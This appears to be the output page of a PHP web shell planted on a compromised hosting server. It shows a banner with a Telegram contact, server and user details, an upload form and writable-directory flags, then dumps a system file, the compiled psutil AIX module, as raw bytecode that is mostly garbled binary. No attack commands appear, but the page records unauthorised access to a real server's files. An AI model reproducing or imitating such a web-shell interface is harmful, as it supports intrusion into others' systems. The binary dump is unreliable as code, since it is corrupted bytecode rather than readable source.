https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/psutil/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/psutil/_psaix.pyc
�
�!�\c@s
dZddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlm
Z
ddlmZddlmZdd	lmZdd
l
mZddl
mZddl
mZdd
l
mZddl
mZddl
mZddl
mZddl
mZddl
mZddlmZdgZeed�Z eed�Z!eed�Z"ej#d�Z$ej%Z%ie
j&ej'6e
j(ej)6e
j*ej+6e
j*ej,6e
j-ej.6Z/ie
j0ej16e
j2ej36e
j4ej56e
j6ej76e
j8ej96e
j:ej;6e
j<ej=6e
j>ej?6e
j@ejA6e
jBejC6e
jDejE6e
jFejG6ZHeIddddddddd d!d"d#d$d%d&d'�ZJdZLdZMdZNdZOe	d(ddg�ZPePZQe	d)d*d+d,d-g�ZRe	d.d/d0d1d2d3g�ZSd4�ZTd5�ZUd6�ZVd7�ZWd8�ZXd9�ZYd:�ZZej[Z[ej\Z\e]d;�Z^ej_Z_e!r�ej`Z`ndd<�Zad=�Zbd>�Zcd?�Zdd@�ZedA�ZfdB�ZgdCehfdD��YZidS(EsAIX platform implementation.i����N(t
namedtuple(tAF_INETi(t_common(t_psposix(t_psutil_aix(t
_psutil_posix(tAF_INET6(tget_procfs_path(tmemoize_when_activated(tNIC_DUPLEX_FULL(tNIC_DUPLEX_HALF(tNIC_DUPLEX_UNKNOWN(tsockfam_to_enum(tsocktype_to_enum(t
usage_percent(tPY3tPROCFS_PATHtproc_threadstnet_io_counterstproc_io_counterstSC_PAGE_SIZEtppiditrsstvmsitcreate_timeitniceitnum_threadsitstatusitttynritpmemt	scputimestusertsystemtidletiowaittsvmemttotalt	availabletpercenttusedtfreecCsJtj�\}}}}}t|||dd�}t|||||�S(Ntround_i(tcexttvirtual_memRR#(R$tavailR(tpinnedtinuseR&((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytvirtual_memoryoscCsStj�\}}}}||}t||dd�}tj||||||�S(s=Swap system memory as a (total, used, free, sin, sout) tuple.R)i(R*tswap_memRRtsswap(R$R(tsintsoutR'R&((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytswap_memoryus
cCs5tj�}tgt|�D]}t|�^q�S(s-Return system-wide CPU times as a named tuple(R*t
per_cpu_timesRtziptsum(trettx((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyt	cpu_times�scCs)tj�}g|D]}t|�^qS(s5Return system per-CPU times as a list of named tuples(R*R5R(R8R9((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR5�scCs*ytjd�SWntk
r%dSXdS(s0Return the number of logical CPUs in the system.tSC_NPROCESSORS_ONLNN(tostsysconft
ValueErrortNone(((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytcpu_count_logical�s
cCs�d}tj|dtdtjdtj�}|j�\}}tr|g||fD]}|jtjj	�^qR\}}n|j
dkr�td||f��n|j�j
�}t|�p�dS(Nslsdev -Cc processortshelltstdouttstderris%r command error
%s(t
subprocesstPopentTruetPIPEtcommunicateRtdecodetsysRBtencodingt
returncodetRuntimeErrortstript
splitlinestlenR?(tcmdtpRBRCR9t
processors((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytcpu_count_physical�s4cCs.tj�\}}}}tj||||�S(s*Return various CPU stats as a named tuple.(R*t	cpu_statsRt	scpustats(tctx_switchest
interruptstsoft_interruptstsyscalls((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyRU�sc	Cs�g}tj�}xx|D]p}|\}}}}|dkrFd}n|sdt|�jsdqqdntj||||�}|j|�qW|S(sReturn system disk partitions.tnonet(R*tdisk_partitionst
disk_usageR$Rt	sdiskparttappend(	talltretlistt
partitionst	partitiontdevicet
mountpointtfstypetoptstntuple((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR]�s
		c	Cs�tj}||krPtd|djg|D]}t|�^q+�f��ntj|\}}tj|�}t�}x|D]}|\}	}
}}}
}}|
|kr�q�n||kr�q�nt|}|
t	t
fkr|r�tj|�}n|
rtj|
�}
qnt|
�}
t
|�}|dkr^tj|	|
|||
||�}ntj|	|
|||
|�}|j|�q�Wt|�S(s�Return socket connections.  If pid == -1 return system-wide
    connections (as opposed to connections opened by one process only).
    s+invalid %r kind argument; choose between %ss, i����(Rt	conn_tmapR>tjointreprR*tnet_connectionstsettTCP_STATUSESRRtaddrRR
tsconntpconntaddtlist(tkindt_pidtcmapR9tfamiliesttypestrawlistR8titemtfdtfamttype_tladdrtraddrRtpidtnt((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyRm�s4	5	

$c
Cstitd6td6}tgt�D]}|d^q!�}i}x-|D]%}tj|�\}}d}d}tjdd|gdtjdtj�}	|	j	�\}
}t
r�g|
|fD]}|jtj
j�^q�\}
}n|	jdkr>tjd	|
�}|dk	r>t|jd
��}|jd�}q>n|j|t�}tj||||�||<qGW|S(
s)Get NIC stats (isup, duplex, speed, mtu).tFulltHalfiR\s/usr/bin/entstats-dRBRCs"Running: (\d+) Mbps.*?(\w+) DuplexiiN(R	R
Rntnet_if_addrsR*tnet_if_statsRDRERGRHRRIRJRBRKRLtretsearchR?tinttgrouptgetRRt	snicstats(
t
duplex_mapR9tnamesR8tnametisuptmtutduplextspeedRRRBRCt	re_result((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR��s.

&
4 cCs
tj�S(s:The system boot time expressed in seconds since the epoch.(R*t	boot_time(((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR�scCs�g}tj�}d}xo|D]g}|\}}}}}}	|sIqn||kr^d}ntj|||||	�}
|j|
�qW|S(s:Return currently connected users as a list of namedtuples.s:0.0s:0t	localhost(s:0.0s:0(R*tusersRtsuserR`(RbRzR�R{Rtttythostnamettstamptuser_processR�R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR� s
	cCs5gtjt��D]}|j�rt|�^qS(s7Returns a list of PIDs currently running on the system.(R<tlistdirRtisdigitR�(R9((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytpids8scCs+tjjtjjt�t|�d��S(s&Check for the existence of a unix pid.tpsinfo(R<tpathtexistsRkRtstr(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyt
pid_exists=scs"tj���fd��}|S(s�Call callable into a try/except clause and translate ENOENT,
    EACCES and EPERM in NoSuchProcess or AccessDenied exceptions.
    cs�y�|||�SWn�tk
r�}tdksJtdksJtdkrP�n|jtjtjfkr�t|j	�s�t|j	|j
��q�t|j	|j
|j��n|jtjtj
fkr�t|j	|j
��n�nXdS(N(tEnvironmentErrort
NoSuchProcessR?tAccessDeniedt
ZombieProcessterrnotENOENTtESRCHR�R�t_namet_ppidtEPERMtEACCES(tselftargstkwargsterr(tfun(s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytwrapperFs(t	functoolstwraps(R�R�((R�s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytwrap_exceptionsBstProcesscBs�eZdZdddddgZd�Zd�Zd�Zeed	���Z	eed
���Z
eed���Zed��Zed
��Z
ed��Zed��Zed��Zer�ed��Znedd��Zed��Zed��Zed��Zed��Zed��Zed��Zed��Zed��Zed��ZeZed��Zd�Zed��Z ed ��Z!ed#d!��Z#e$r�ed"��Z%nRS($s1Wrapper class around underlying C implementation.R�R�R�t_procfs_patht_cachecCs+||_d|_d|_t�|_dS(N(R�R?R�R�RR�(R�R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyt__init__bs			cCs4|jj|�|jj|�|jj|�dS(N(t_proc_name_and_argstcache_activatet_proc_basic_infot
_proc_cred(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyt
oneshot_enterhscCs4|jj|�|jj|�|jj|�dS(N(R�tcache_deactivateR�R�(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytoneshot_exitmscCstj|j|j�S(N(R*tproc_name_and_argsR�R�(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR�rscCstj|j|j�S(N(R*tproc_basic_infoR�R�(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR�wscCstj|j|j�S(N(R*t	proc_credR�R�(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR�|scCs*|jdkrdS|j�djd�S(Nitswappert(R�R�trstrip(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR��scCs!|j�d}tjj|kr�tjj|�s^tjjtjj|j�|��}ntjj|�r�tjj|�r�tj	|tj
�r�|Stjj|�}nxjtjdj
d�D]R}tjjtjj||��}tjj|�r�tj	|tj
�r�|Sq�WdS(NitPATHt:R\(tcmdlineR<R�tseptisabstabspathRktcwdtisfiletaccesstX_OKtbasenametenvirontsplit(R�texeR�tpossible_exe((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR��s*!cCs|j�djd�S(Nit (R�R�(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR��scCs|j�tdS(NR(R�t
proc_info_map(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR�scCs|j�tdS(NR(R�R�(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR�scCs~tj|j�}g}x9|D]1\}}}tj|||�}|j|�qW|sztjd|j|jf�n|S(Ns%s/%s(	R*RR�RtpthreadR`R<tstatR�(R�RzRbt	thread_idtutimetstimeRi((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytthreads�s tinetcCs?t|d|j�}|s;tjd|j|jf�n|S(NRvs%s/%s(RmR�R<R�R�(R�RuR8((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytconnections�s cCstj|j�S(N(t
cext_posixtgetpriorityR�(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytnice_get�scCstj|j|�S(N(R�tsetpriorityR�(R�tvalue((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytnice_set�scCs|j�td|_|jS(NR(R�R�R�(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR�scCs1|j�\}}}}}}tj|||�S(N(R�Rtpuids(R�trealt	effectivetsavedt_((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytuids�scCs1|j�\}}}}}}tj|||�S(N(R�RR�(R�R�R�R�R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytgids�scCs%tj|j|j�}tj|�S(N(R*tproc_cpu_timesR�R�Rt	pcputimes(R�R:((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR:�scCsd|j�td}|d@d?|d@B}x3tjd�D]"}tj|�j|kr:|Sq:WdS(NRI��ii��s	/dev/**/*(R�R�tglobR<R�tst_rdevR?(R�tttydevtdev((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytterminal�scCs�|j}y-tjd||jf�}|jd�SWnFtk
r~}|jtjkrxtjd||jf�dS�nXdS(Ns	%s/%s/cwdt/s%s/%s(
R�R<treadlinkR�R�tOSErrorR�R�R�R?(R�tprocfs_pathtresultR�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR��s	cCs=|j�}|tdd}|tdd}t||�S(NRiR(R�R�R(R�R8RR((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytmemory_info�scCs$|j�td}tj|d�S(NRt?(R�R�t
PROC_STATUSESR�(R�tcode((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyRsc	Cs>tjddt|j�gdtjdtj�}|j�\}}tr�g||fD]}|jtj	j
�^qX\}}nd|j�kr�t|j|j
��ntjd|�}g}xs|D]k\}}|j�}|jd�r�|d}n|j�d	krq�n|jtj|t|���q�W|S(
Ns/usr/bin/procfiless-nRBRCsno such processs (\d+): S_IFREG.*\s*.*name:(.*)\ns//iscannot be retrieved(RDRER�R�RGRHRRIRJRBRKtlowerR�R�R�tfindallRNt
startswithR`Rt	popenfileR�(	R�RRRBRCR9t	procfilesRbR|R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyt
open_files
s$4
#cCs6|jdkrdSttjd|j|jf��S(Nis%s/%s/fd(R�RPR<R�R�(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytnum_fds#scCstjtj|j��S(N(RtpctxswR*tproc_num_ctx_switchesR�(R�((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytnum_ctx_switches)scCstj|j||j�S(N(Rtwait_pidR�R�(R�ttimeout((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytwait.scCsvy"tj|j�\}}}}Wn;tk
r_t|j�sYt|j|j��n�nXtj||||�S(N(	R*RR�R�R�R�R�Rtpio(R�trctwctrbtwb((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pytio_counters3s"
N(&t__name__t
__module__t__doc__t	__slots__R�R�R�R�RR�R�R�R�R�R�RRtHAS_THREADSR�R�R�R�RR�R�R:R�R�R�tmemory_full_infoRRRR	R?RtHAS_PROC_IO_COUNTERSR(((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyR�]sL				(jRR�R�R�R<R�RDRJtcollectionsRtsocketRR\RRRR*RR�RRRR	R
RRR
Rt_compatRt__extra__all__thasattrRtHAS_NET_IO_COUNTERSRR=t	PAGE_SIZEtAF_LINKtSTATUS_IDLEtSIDLt
STATUS_ZOMBIEtSZOMBtSTATUS_RUNNINGtSACTIVEtSSWAPtSTATUS_STOPPEDtSSTOPR�tCONN_ESTABLISHEDtTCPS_ESTABLISHEDt
CONN_SYN_SENTt
TCPS_SYN_SENTt
CONN_SYN_RECVt
TCPS_SYN_RCVDtCONN_FIN_WAIT1tTCPS_FIN_WAIT_1tCONN_FIN_WAIT2tTCPS_FIN_WAIT_2tCONN_TIME_WAITtTCPS_TIME_WAITt
CONN_CLOSEtTCPS_CLOSEDtCONN_CLOSE_WAITtTCPS_CLOSE_WAITt
CONN_LAST_ACKt
TCPS_LAST_ACKtCONN_LISTENtTCPS_LISTENtCONN_CLOSINGtTCPS_CLOSINGt	CONN_NONEtPSUTIL_CONN_NONERotdictR�R?R�R�R�tTimeoutExpiredRtpfullmemRR#R/R4R:R5R@RTRUtdisk_io_countersR^tFalseR]R�RRmR�R�R�R�R�R�tobjectR�(((s3/usr/lib64/python2.7/site-packages/psutil/_psaix.pyt<module>s�		














				
									!	%					

https://t.me/AnonymousX5 - 2025